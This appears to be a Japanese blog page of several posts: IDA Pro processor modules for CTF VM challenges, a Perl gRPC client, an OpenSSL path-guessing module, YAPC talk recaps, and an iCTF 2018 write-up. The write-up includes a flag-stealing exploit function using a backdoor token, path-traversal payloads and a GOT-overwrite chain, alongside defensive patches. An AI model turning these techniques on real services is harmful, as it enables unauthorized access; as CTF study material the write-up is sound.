IDA Proで独自VM問を読む

この記事は、CTF Advent Calendar 2021の4日目です。

adventar.org

CTFで出題されるreversingの問題のひとつに、独自VMと呼ばれる、独自に実装されたVirtual Machineの上で動くバイトコード(プログラム)の解析を行うものがあります。

この問題ではVM自体のバイナリを読み、どのような命令があるのか、どのような挙動なのかを把握するのはもちろん、最終的にはそのVM上で動くバイトコード自体を読み解く必要があり、かなり根気がいります。

VMのバイナリはいつも通りIDA Proで解析すればよいのですが、その後のバイトコードの解析にはもちろんIDA Proが使えず、簡易的なディスアセンブラを実装し、テキストエディタでメモを書きながら読んでいく必要があります。関数呼び出しや分岐があればあるほど読みにくくなっていき、解析にかなりの時間を費すことになります。

そこでIDA Proのプラグインを自分で書いて、独自VM問のバイトコードをIDA Proで読めるようにしてしまおうというのがこの記事での本題です。

IDA Proのprocessor moduleを書く

IDA Proではprocessor moduleを書くことで独自のアーキテクチャを定義し読み込むことができます。

IDA Pro本体に同梱されているprocessor moduleのほとんどはC++で実装されていますが、CTFで対象となるのは小規模なバイナリなので書きやすさを優先して今回はPythonで実装しました。 独自のprocessor moduleを書く際のテンプレートや、Pythonで書かれたprocessor moduleもいくつか同梱されているので、それらを参考に書いていきます。

次に過去に出題された独自VM問のために作ったprocessor moduleを紹介します。

例題1: baby-a-fallen-lap-ray - DEFCON 2021 Quals

github.com

よくわからないマシン(エミュレータ)上で動くVM上で動くバイトコードのreversingです。解析自体はかなりつらいです。

作ったprocessor module: https://github.com/akiym/ida-ctf-vm-chall-reversing/blob/0a499f8427eb09241f7c4b861314aa87c17e6230/procs/fallen-lap-ray.py

f:id:akiym:20211204190203p:plain f:id:akiym:20211204190217p:plain

実のところ、IDA Proでバイトコードを読むというアイディアは以下のwriteupからいただきました(元記事ではBinary Ninjaを使っています)。ありがとうございます。

zackorndorff.com

例題2: EmojiVM - HITCON CTF 2019

github.com

この問題はスタックマシン型のVMなのですが、自分の中で解析方法が定まっておらずprocessor moduleでスタックの状態をエミュレーションしながら、その結果をコメントに追記していく形にしました。あまりIDA Proでの解析の恩恵を得られなかった例です。

作ったprocessor module: https://github.com/akiym/ida-ctf-vm-chall-reversing/blob/0a499f8427eb09241f7c4b861314aa87c17e6230/procs/emojivm.py

f:id:akiym:20211204191405p:plain

まとめ

IDA Proを使って独自VM問のバイトコードの解析ができるようprocessor moduleを書いてみました。今後出題される問題でも今回書いたスクリプトを少し書き換えれば応用可能なので、また使う機会があるかもしれません。

実際のところ、IDA Proで読めたからといってそこで終わりではなく、ここからまた時間をかけて人間が読む作業は残っています。 2020 Plug-In Contest – Hex Rays にbfというbrainfuckをHex-Rays decompilerでデコンパイルするというプラグインがあったので、解析補助のためにデコンパイラを実装できなくはないのかもしれませんが、1つのVM問に対する実装量がかなり多くなるはずで、現実的には人間が読むほうが早いということになりそうではあります。

今後も問題を解く上で書いたprocessor moduleは以下のリポジトリに追加していく予定です。面白かった独自VM問の過去問がありましたらIDA Proで読もうと思いますので是非 @akiym まで教えてください。

github.com

PerlでもgRPCで通信したい

まずはじめに、2021/2時点でgRPCがサポートされている言語にはPerlは含まれていなく、公式にはサポートされていません。 現時点でと言ったものの将来的にもサポートされることがないだろうことからPerlでgRPCを扱うのは茨の道といえるでしょう。

おとなしくgRPC transcodingしてHTTP REST APIで叩きましょう、というのがほぼ答えなのですがCPANに公開されているライブラリを使ってどこまでできるのかを検証するのがこの記事の目的です。

題材

gRPCで通信といっても、サーバとクライアントのどちらをPerlで実装するかという話になりますが、今回実装するのはクライアントです。 他の言語で書かれたマイクロサービスからPerlと通信することを想定して、手軽な例としてGAPIC Showcaseのサーバと通信することにしてみます。

github.com

google.showcase.v1beta1 packageにはいくつかのserviceが提供されていますが、その中でもEcho serviceの各メソッドを呼び出してみることを題材とします。 protoファイルに定義されたスキーマには、単純にリクエストを投げてレスポンスが返ってくるだけのEchoメソッドやサーバストリーミング、クライアントストリーミング、双方向ストリーミングなど形式で通信を行うメソッドが用意されています。

ちなみにIdentity serviceなどでも試したかったのですがproto3のoptional fieldが使われているため見送りました。

PerlからProtocol Buffersを扱う

protoファイルを元にメッセージのエンコード/デコードを行うためにGoogle::ProtocolBuffer::Dynamicを使います。 ほかにもモジュールは世に存在しているのですが、proto2にしか対応していない、メンテナンスされていないことから選択肢としては実質このモジュールしかありません。

metacpan.org

Google::ProtocolBuffer::Dynamicはその名前の通り、スタブコードを事前に生成しておくのではなく、protoファイルを読み込んで動的にインタフェースを生成します。

gRPCでクライアント通信をする場合はオプションを渡すことでGrpc::XSが内部で使われるようになります。Grpc::XSはCPANTSの結果を見るとMETA.ymlが存在しなくDevel::CheckLibの依存が漏れていたりなどと少し不安ではありますがGoogle::ProtocolBuffers::Dynamicからはこのモジュールを使うしかありません。

試してみる

PerlからgRPCで通信はできそうということがわかったので、実際にコードを書いて試してみます。今回書いたコードの全体は以下のリポジトリで公開しています。

github.com

まずはprotocコマンドを使ってスタブコードを生成します。このスタブコードというのはprotoファイルに定義されたメッセージの生成やメソッドの呼び出しを行えるようにするためのクライアント用に生成されたコードです。

以下のコマンドを実行するとGrpcSandbox::PBというPerlのパッケージが作られます。 生成されたコードにはシリアライズされたデータとgRPCとPerlのパッケージの紐付けが含まれており、実際にserviceを呼び出す際にはGrpcSandbox::PB::Google::Showcase::V1beta1::Echoパッケージを参照するといった形で行ないます。

% protoc \
    -Ithird_party/gapic-showcase/schema/api-common-protos \
    -Ithird_party/gapic-showcase/schema \
    --perl-gpd_out=package=GrpcSandbox.PB:lib \
    --perl-gpd_opt=client_services=grpc_xs \
    third_party/gapic-showcase/schema/google/showcase/v1beta1/echo.proto \
    $(find third_party/gapic-showcase/schema/api-common-protos/google -name '*.proto') \
    $(find /usr/local/include/google -name '*.proto')

ここで注意する点としては、GAPIC Showcaseが依存しているapi-common-protosgoogle.protobuf packageのprotoファイルも読み込む必要があることです。必要に応じてprotoファイルのinclude pathも指定します。

余談ですがprotocの挙動としては--perl-gpd_xxxというオプションが渡されることでGoogle::ProtocolBuffer::Dynamicの提供するproto-gen-perl-gpdというコマンドが呼ばれるようになります。 このコマンド同士のやり取りにもProtocol Buffersが使われており、オプションやprotoファイルの一覧がCodeGeneratorRequestとして渡されていたりします。

Echoメソッドの実装

クライアントライブラリを提供するという形でgRPCで通信するメソッドを実装していきます。 適宜protoファイルを見ながら読んでもらえると理解しやすいと思います。

まずは以下のコードのようにしてEcho serviceへのコネクションを作成します。 コード中にでてくる $self->service はこれを指します。

my $service = GrpcSandbox::PB::Google::Showcase::V1beta1::Echo->new(
    'gapic-showcase:7469',
    credentials => Grpc::XS::ChannelCredentials::createInsecure(),
);

serviceにあるメソッドの呼び出しは->Echoのように同じ名前で呼び出す形に対応します。 google.showcase.v1beta1 packageのEchoRequestに対応するパッケージはGrpcSandbox::PB::Google::Showcase::V1beta1::EchoRequestです。

Echoメソッドは単一(Unary)リクエストなので、呼び出し後は->waitを使ってEchoResponseに対応するオブジェクトを取得します。メッセージのフィールドの値はget_というprefixをつけて取り出すことができます。

sub echo {
    my ($self, $content) = @_;

    my $req = GrpcSandbox::PB::Google::Showcase::V1beta1::EchoRequest->new({
        content => $content,
    });
    my $call = $self->service->Echo(argument => $req);
    my $res = $call->wait;
    return $res->get_content;
}

Expand, Collectメソッドの実装

Expandメソッドは複数のレスポンスを受け取り(サーバストリーミング)、Collectメソッドは複数のリクエストを送ります(クライアントストリーミング)。

sub expand {
    my ($self, $content) = @_;

    my $req = GrpcSandbox::PB::Google::Showcase::V1beta1::ExpandRequest->new({
        content => $content,
    });
    my $call = $self->service->Expand(argument => $req);
    my @res = $call->responses;
    return [map { $_->get_content } @res];
}

sub collect {
    my ($self, @contents) = @_;

    my $call = $self->service->Collect();
    for my $content (@contents) {
        my $req = GrpcSandbox::PB::Google::Showcase::V1beta1::EchoRequest->new({
            content => $content,
        });
        $call->write($req);
    }
    my $res = $call->wait;
    return $res->get_content;
}

Chatメソッドの実装

Chatメソッドは双方向ストリーミングを行ないます。1つずつリクエストを送ってはレスポンスを受け取るという形にしてみました。

sub chat {
    my ($self, @contents) = @_;

    my @res;
    my $call = $self->service->Chat();
    for my $content (@contents) {
        my $req = GrpcSandbox::PB::Google::Showcase::V1beta1::EchoRequest->new({
            content => $content,
        });
        $call->write($req);
        my $res = $call->read;
        push @res, $res->get_content;
    }
    $call->writesDone;
    return \@res;
}

Waitメソッドの実装

Waitメソッドは待ち時間を受け取りますが、即座にgoogle.longrunning.Operationを返します。google.longrunning.Operations serviceが実装されているのでGetOperationメソッドを定期的に呼び出し、そのoperationが終了したかどうかを確認するようにしてみました。

google.longrunning.Operationのresponseフィールドはgoogle.protobuf.Anyなので自分でWaitResponseにデコードする必要があります。

ちなみにgoogle.longrunning.Operationの詳しい仕様に関してはGoogle AIPsのAIP-151: Long-running operationsにあります。

sub wait {
    my ($self, $content, $ttl) = @_;

    my $req = GrpcSandbox::PB::Google::Showcase::V1beta1::WaitRequest->new({
        success => { content => $content },
        ttl     => { seconds => $ttl },
    });
    my $call = $self->service->Wait(argument => $req);
    my $res = $call->wait;
    while (1) {
        my ($res, $done) = $self->_get_operation($res->get_name);
        if ($done) {
            my $wait_res = GrpcSandbox::PB::Google::Showcase::V1beta1::WaitResponse->decode($res->get_value);
            return $wait_res->get_content;
        }
        sleep 1;
    }
}

sub _get_operation {
    my ($self, $name) = @_;

    my $operations_service = GrpcSandbox::PB::Google::Longrunning::Operations->new(
        $self->{server},
        credentials => $self->{credentials},
    );
    my $req = GrpcSandbox::PB::Google::Longrunning::GetOperationRequest->new({
        name => $name,
    });
    my $call = $operations_service->GetOperation(argument => $req);
    my $res = $call->wait;
    return $res->get_response, $res->get_done;
}

Blockメソッドの実装

Blockメソッドは受け取った待ち時間分、実際にsleepしてレスポンスを返すというサーバ側の実装になっていますが、ここではあまり関係ないのでエラーを返すときの例として紹介します。

実は->waitwantarrayでコンテキストに応じて返り値が変わるようになっており、リストコンテキストで受け取る場合にはレスポンスとstatusを返します。 このstatusというのはGrpc::XSの実装によるとcode, details, metadataというキーを持つhashrefが返され、このキーの順番にgoogle.rpc.Statusのcode, message, detailsに対応します(details→messageなので注意)。

sub block_error {
    my ($self, $delay, $content) = @_;

    my $req = GrpcSandbox::PB::Google::Showcase::V1beta1::BlockRequest->new({
        response_delay => { seconds => $delay },
        error          => {
            code    => GrpcSandbox::PB::Google::Rpc::Code::UNKNOWN,
            message => 'unknown error',
        },
    });
    my $call = $self->service->Block(argument => $req);
    my ($res, $status) = $call->wait;
    return {
        code    => $status->{code},
        details => $status->{details},
    };
}

最後にgRPCサーバと通信するテストを書きました。 動かすと裏で立ち上がっているGAPIC Showcaseのコンテナに対して通信します。

% docker-compose exec app bash
root@c271acf8b99d:/app# perl t/echo_service.t
# Subtest: echo
    ok 1
    ok 2
    1..2
ok 1 - echo
# Subtest: expand
    ok 1
    1..1
ok 2 - expand
# Subtest: collect
    ok 1
    1..1
ok 3 - collect
# Subtest: chat
    ok 1
    1..1
ok 4 - chat
# Subtest: paged_expand
    ok 1
    ok 2
    ok 3
    ok 4
    1..4
ok 5 - paged_expand
# Subtest: wait
    ok 1
    1..1
ok 6 - wait
# Subtest: block
    ok 1
    ok 2
    1..2
ok 7 - block
1..7
gapic-showcase_1  | 2021/02/06 19:36:44 Received Unary Request for Method: /google.showcase.v1beta1.Echo/Echo
gapic-showcase_1  | 2021/02/06 19:36:44     Request:  content:"hello"
gapic-showcase_1  | 2021/02/06 19:36:44     Returning Response: content:"hello"
gapic-showcase_1  | 2021/02/06 19:36:44
gapic-showcase_1  | 2021/02/06 19:36:44 Received Unary Request for Method: /google.showcase.v1beta1.Echo/Echo
gapic-showcase_1  | 2021/02/06 19:36:44     Request:  content:"world"
gapic-showcase_1  | 2021/02/06 19:36:44     Returning Response: content:"world"
gapic-showcase_1  | 2021/02/06 19:36:44
gapic-showcase_1  | 2021/02/06 19:36:44 Server Stream for Method: /google.showcase.v1beta1.Echo/Expand
gapic-showcase_1  | 2021/02/06 19:36:44     Receiving Message:  content:"hello world"
gapic-showcase_1  | 2021/02/06 19:36:44
gapic-showcase_1  | 2021/02/06 19:36:44 Server Stream for Method: /google.showcase.v1beta1.Echo/Expand
gapic-showcase_1  | 2021/02/06 19:36:44     Sending Message:  content:"hello"
gapic-showcase_1  | 2021/02/06 19:36:44
gapic-showcase_1  | 2021/02/06 19:36:44 Server Stream for Method: /google.showcase.v1beta1.Echo/Expand
gapic-showcase_1  | 2021/02/06 19:36:44     Sending Message:  content:"world"
<snip>

まとめ

これでPerlでgRPCでの一通りの通信はできました。思った以上にGoogle::ProtocolBuffers::DynamicとGrpc::XSの出来は良く、gRPC Transcodingに頼らずにgRPCで通信するのも選択肢としてはありかもしれません。

ただし動的なスタブコードを使って実装していくのは大変で、protoファイルを見ながら対応しているパッケージをちまちまと書いていく必要がありました。

Goでのprotoc-gen-goを使ったスタブコード生成をしてエディタの補完が効く快適な開発体験と比べると、PerlでもgRPCで通信するのはやっぱり辛いけどなんとかできる状態にはなっています。(プロダクションで使っている事例があれば教えてください)

OpenSSLはどこにいる

この記事は、はてなエンジニア Advent Calendarの15日目です。

qiita.com

OpenSSLに依存しているモジュールをインストールしようと思ったときにライブラリが見つからなくて困ることがあります。

例えばmacOS上でhomebrewを使ってOpenSSLをインストールした場合は /usr/local/opt/openssl以下に配置されるため、モジュールのインストール時にインクルードパスとライブラリパスを指定しないといけません。 cpanmであれば--configure-args経由でビルドする際の引数を渡すことができますが、コンパイラにどのように渡されるかはMakefile.PLを読む必要があります。大変ですね。

そこで作ったのが、いいかんじにOpenSSLのパスを取ってきてくれるモジュールCrypt::OpenSSL::Guessです。

metacpan.org

これはNet::SSLeayで使われているOpenSSLのパス解決部分をモジュール化したものです。このモジュールは現在Crypt::OpenSSL::RSACrypt::OpenSSL::Randomで使われています。

使い方はMakefile.PL内に以下のように書くだけです。

use ExtUtils::MakerMaker;
use Crypt::OpenSSL::Guess;
 
WriteMakefile(
    # ...
    LIBS => ['-lssl -lcrypto ' . openssl_lib_paths()],
    INC  => openssl_inc_paths(),
);

実装は素直で、パスを順番に探して見つかったものを返すというものです。 この中に含まれていない場合でも簡単にパスを指定できるように、環境変数OPENSSL_PREFIXに設定できるようにしています。

sub find_openssl_prefix {
    my ($dir) = @_;
 
    if (defined $ENV{OPENSSL_PREFIX}) {
        return $ENV{OPENSSL_PREFIX};
    }
 
    my @guesses = (
        '/home/linuxbrew/.linuxbrew/opt/openssl/bin/openssl' => '/home/linuxbrew/.linuxbrew/opt/openssl', # LinuxBrew openssl
        '/usr/local/opt/openssl/bin/openssl' => '/usr/local/opt/openssl', # OSX homebrew openssl
        '/usr/local/bin/openssl'         => '/usr/local', # OSX homebrew openssl
        '/opt/local/bin/openssl'         => '/opt/local', # Macports openssl
        '/usr/bin/openssl'               => '/usr',
        '/usr/sbin/openssl'              => '/usr',
        '/opt/ssl/bin/openssl'           => '/opt/ssl',
        '/opt/ssl/sbin/openssl'          => '/opt/ssl',
        '/usr/local/ssl/bin/openssl'     => '/usr/local/ssl',
        '/usr/local/openssl/bin/openssl' => '/usr/local/openssl',
        '/apps/openssl/std/bin/openssl'  => '/apps/openssl/std',
        '/usr/sfw/bin/openssl'           => '/usr/sfw', # Open Solaris
        'C:\OpenSSL\bin\openssl.exe'     => 'C:\OpenSSL',
        'C:\OpenSSL-Win32\bin\openssl.exe'        => 'C:\OpenSSL-Win32',
        $Config{prefix} . '\bin\openssl.exe'      => $Config{prefix},           # strawberry perl
        $Config{prefix} . '\..\c\bin\openssl.exe' => $Config{prefix} . '\..\c', # strawberry perl
        '/sslexe/openssl.exe'            => '/sslroot'# VMS, openssl.org
        '/ssl$exe/openssl.exe'           => '/ssl$root', # VMS, HP install
    );
 
    while (my $k = shift @guesses
           and my $v = shift @guesses) {
        if ( -x $k ) {
            return $v;
        }
    }
    (undef, $dir) = check_no_path()
       and return $dir;
 
    return;
}

PerlにはThere's more than one way to do it(やり方はいくつもある)というモットーがありますが、それに続くbut sometimes consistency is not a bad thing either(ときには共通のやり方があっても悪くはない)という言葉があるように、各モジュールが行っていたOpenSSLのパスの解決の仕組みを共通のやり方で出来るようにモジュール化したという話でした。

UCSB iCTF 2018 - fantasticiot, hero_text_adventure

attack and deference形式のCTFにオンラインで参加した。dodododoは19位。

f:id:akiym:20180318184839p:plain

sshできるサーバが1台与えられて、そこで8つのサービスを正しく動かしつつ、攻撃と防御を行う。
flagは運営からサービスが正しく動いているかどうかの確認と一緒に送られてくる。例えば秘密のメモアプリみたいなのがあったとして、正規の方法だとメモの閲覧にはパスワードが必要だけど、サービスに残された脆弱性を使うと任意のメモを見られるになればflagを入手して提出することで攻撃できる。
サービスはxinetd経由で起動するようになっていて、サービスの脆弱性を潰すためバイナリを書き換えたり、途中にバリデーション用のスクリプトを挟んだりしてflagを持ち出されないように防御できる。

このCTF専用のサービス一覧/参加チーム取得やフラグ提出用のクライアントがあって、それを使うと手軽に攻撃の自動化ができる。 事前にサンプル が渡されたのだけど、結構ミスっていて困っていた。事前にテストして欲しい……

fantasticiot

% file ./fantasticiot
./fantasticiot: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=baa3e0fa48be4715a10784c2dd5e7d3adb5d9181, not stripped

冷蔵庫サービス。static linkされていて一瞬ぎょっとするけど、中身は単純にJSON経由で冷蔵庫に入れたりすることができるサービス。flagはsetflagで保存されたflag。

  • setflag
    • {"token": "A", "flag": "B", "id": "2", "service": "flag", "op": "setflag"}
    • flag/1 に書き込む
  • getflag
    • {"token": "A", "id": "1", "service": "flag", "op": "getflag"}
    • flag/1 から取得する
    • ただし正しいtokenである必要がある
  • addfridge
    • {"content": "AAAAAAAAAA", "item": "1", "service": "fridge", "op": "addfridge"}
    • fridge/1 に書き込む
  • getfridge
    • {"item": "1", "service": "fridge", "op": "getfridge"}
    • fridge/1 から取得する

脆弱性

  • getfridgeの際にserviceを flag に指定することでディレクトリを変更できる
  • getfridgeの際にitemを ../flag/1 にすることでディレクトリを変更できる

こういう雑なバリデータを挟むことで回避できる。

import sys
import json

src = sys.stdin.readline()

try:
    data = json.loads(src)
    if data['op'] == 'getfridge':
        assert data['service'] == 'fridge'
        assert '/' not in data['item']
    sys.stdout.write(src)
except:
    pass
  • strncmpにbackdoorが仕掛けられている

static linkされているのはこういうことだったのか!上位チームでも意外と気づかなかったチームが結構いた。

f:id:akiym:20180318184751p:plain

つまり、getflagの際にtokenを victor に指定すればtokenチェックが問答無用に突破可能。

def exp(s, flag_id):
    payload = {
        "service": "flag",
        "op": "getflag",
        "id": flag_id,
        "token": "victor",
    }
    s.send(json.dumps(payload) + '\n')
    return json.loads(s.recvuntil('\n'))['flag']

hero_text_adventure

% file ./hero_text_adventure
./hero_text_adventure: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=98aac0bf05483d6328b1640625404c533c785999, not stripped
% ./hero_text_adventure
Hello superhero, are you continuing your previous adventure? (y/N)
n
Welcome to the beta test of the Marvel Super Hero text adventure!
Enter your name:
test
Pick a character
1) Star Lord
2) Dr Strange
3) wanda maximoff
4) Hulk
5) Thor
1
test, what would you like to do?
1) BATTLE!
2) buy weapon
3) equip weapon
4) give weapon a new name
5) load game
6) exit
6
Exiting. Save game? (y/N)
y
enter a password to protect your save file
secretpassword!
id of your adventure: 7906397325484763355

アドベンチャーゲーム。戦ったり、武器を買ったり、データをロード/セーブできる。flagはセーブされているデータのname部分。

脆弱性

  • weaponのhandlerのアドレス書き換え
    • 1) BATTLE! のときに任意のアドレスに対して飛べるようになる
    • readlineの最初(0x400C8C)に飛ぶことで、bssのプレイヤー名のあるアドレス(0x603240)以降の書き換えができる
    • そこから装備中の武器のアドレスを書き換えると、 4) give weapon a new name から任意のアドレスへの書き込みができるようになる
    • GOTにあるstrcmpをstrchrに書き換えるとデータのロード時のパスワードチェックで、strcmpが strchr("real_password", "input") になり、これはNULLを返すので任意のデータをロードできるようになりflagが入手できる

exploit: hero_text_adventure · GitHub

防御に関しては、give weapon a new nameのときのreadlineが36バイト読み込むのを32バイトだけ読み込むようにバイナリを変更した。

感想

自分の現在の順位よりも上のチームにしか攻撃できない(flagの提出もできず、サーバへのアクセスも遮断されている)ようになっていて珍しいルールだった。よくあるA&D形式のCTFだと防御がボロボロだと上位チームに攻撃されて、点数が減る一方で最後までやる気がなくなってしまうのだけど、これならまだ最後までできる。
一見よいルールに見えるのだけど、順位をわざと下げて攻撃対象を増やして、一度に大量の得点を取得することが可能で(もちろん攻撃が塞がれてなければだけど)割と入れ替わりが激しく、崩壊していた気がする。

今回はRuCTFEのようにVPNの提供はなく、サーバが与えられて手元から他チームに攻撃するときはsocks経由でやってくれ、というかんじだったので運営のことを考えると準備の手間をあまり考える必要なく、これなら手軽にA&D形式のCTFを開催できるのではという気がした。
ただチェックシステムを準備するのが大変という話はありそうだけど、ちょっと調べたらRuCTFEで使われているコードが公開されていた。A&D形式のCTF増えて欲しい。

github.com

YAPC::Okinawaで「Perlコーディングテクニック2018」という話をしました

speakerdeck.com

最近の便利Perl情報や好きなモジュールの話をしました。 トーク応募したときには話したかった細かい話題がいくつかあったのですが、20分では収まらなかったのもありクラスビルダやクラスローダ、バリデータ、Type::Tinyの話になりました。

トークの中で紹介した、拙作のSmart::Args::TypeTinyが結構好きで最近よく使っています。

Smart::Args::TypeTiny - We are smart, smart for you - metacpan.org

詳しい使い方やSmart::Argsと比較したときのメリットをあまり説明できなかったのですが、Smart::Args::TypeTinyについては昨年 id:papix さんが紹介している記事があります。(ありがとうございます!!!)

papix.hatenablog.com

自分のトーク後の id:shoichikaji さんのトークの冒頭では、手元環境ではstricturesのPERL_STRICTURES_EXTRAを設定しているという話がありました。便利ですね。

strictures - turn on strict and make most warnings fatal - metacpan.org

参加者の皆様並び運営スタッフの皆様お疲れ様でした。次回も楽しみにしています。

YAPC::Fukuokaで「新時代のテストフレームワークTest2」という話をしました

speakerdeck.com

トークの内容はTest2の導入から便利情報を紹介したりしました。少しでもTest2使う人が増えるといいですね。

スライド中にも触れていますが、基本的にはTest2に移行するにあたってはTest2::Plugin::UTF8を使うようにすれば大丈夫かなと思います。

一部Test::ClassのハックをTest2に対応するといった特殊な例も紹介しました。スライドでは時間の都合上省いたのですが、Test::Classは意外と扱いが難しく、テストファイルから読み込まれるモジュールでTest::Moreを直接使っていると$TODOが動かなくなるというケースもありました。Test::Moreokを直接呼んでいる場合はTest2::APIcontextで書き換える必要があります。

また、Test::Warningsでテスト中で警告が出ていたらfailする機能(Test::Builder::done_testingを書き換えている lib/Test/Warnings.pm - metacpan.org)が動かなくなっていることに関してはTest2::Plugin::NoWarningsを使うことにより代用することができます。

Test2::Plugin::NoWarnings - Fail if tests warn - metacpan.org

参加者の皆様並び運営スタッフの皆様お疲れ様でした。次のYAPCは沖縄で開催するとのことで楽しみにしています。